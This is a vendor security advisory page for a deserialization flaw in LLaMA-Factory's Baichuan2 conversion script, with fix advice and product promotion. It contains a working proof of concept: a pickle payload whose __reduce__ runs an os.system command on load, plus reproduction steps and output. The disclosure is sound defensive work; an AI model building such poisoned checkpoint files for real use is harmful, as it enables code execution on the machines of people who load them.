GHSA-f2f7-gj54-6vpv
MEDIUMGHSA-f2f7-gj54-6vpv is a medium-severity (CVSS 6.1) Deserialization of Untrusted Data vulnerability in llamafactory. O3 Security confirms whether GHSA-f2f7-gj54-6vpv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py
Blast Radius
llamafactoryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Description
A critical vulnerability exists in the llamafy_baichuan2.py script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load() on user-supplied .bin files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin file that executes arbitrary commands during deserialization.
Attack Vector
This vulnerability is exploitable without authentication or privileges when a user is tricked into:
- Downloading or cloning a malicious project folder containing a crafted
.binfile (e.g. via zip file, GitHub repo). - Running the provided conversion script
llamafy_baichuan2.py, either manually or as part of an example workflow.
No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir.
Impact
- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments
Proof of Concept (PoC)
# malicious_payload.py
import torch, pickle, os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",)) # Arbitrary command
malicious_data = {
"v_head.summary.weight": MaliciousPayload(),
"v_head.summary.bias": torch.randn(10)
}
with open("value_head.bin", "wb") as f:
pickle.dump(malicious_data, f)
An example of config.json:
{
"model": "value_head.bin",
"hidden_size": 4096,
"num_attention_heads": 32,
"num_hidden_layers": 24,
"initializer_range": 0.02,
"intermediate_size": 11008,
"max_position_embeddings": 4096,
"kv_channels": 128,
"layer_norm_epsilon": 1e-5,
"tie_word_embeddings": false,
"vocab_size": 151936
}
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
|-- LICENSE
|-- README.md
|-- malicious_folder
| |-- config.json
| `-- value_head.bin
`-- xxxxx(Irrelevant documents omitted)
# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
➡️ Running this will execute the malicious payload and create a HACKED! folder.
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
fire.Fire(llamafy_baichuan2)
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
component_trace = _Fire(component, args, parsed_flag_args, context, name)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
component, remaining_args = _CallAndUpdateTrace(
^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
component = fn(*varargs, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
save_weight(input_dir, output_dir, shard_size, save_safetensors)
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src
'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests
Affected File(s)
- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
scripts/convert_ckpt/llamafy_baichuan2.py- Line:
torch.load(os.path.join(input_dir, filepath), map_location="cpu")
Suggested Fix
- Replace
torch.load()with safer alternatives likesafetensors. - Validate and whitelist file types before deserialization.
- Require checksum validation.
Example patch:
# Replace torch.load() with safe deserialization
try:
from safetensors.torch import load_file
tensor_data = load_file(filepath)
except Exception:
print("Invalid or unsafe checkpoint file.")
return
Workarounds
- Avoid running the script with untrusted
.binfiles. - Use containers or VMs to isolate script execution.
References
Credits
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | llamafactory | all versions | 0.9.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for llamafactory. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update llamafactory to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f2f7-gj54-6vpv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f2f7-gj54-6vpv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f2f7-gj54-6vpv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f2f7-gj54-6vpv in your dependencies?
O3 detects GHSA-f2f7-gj54-6vpv across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.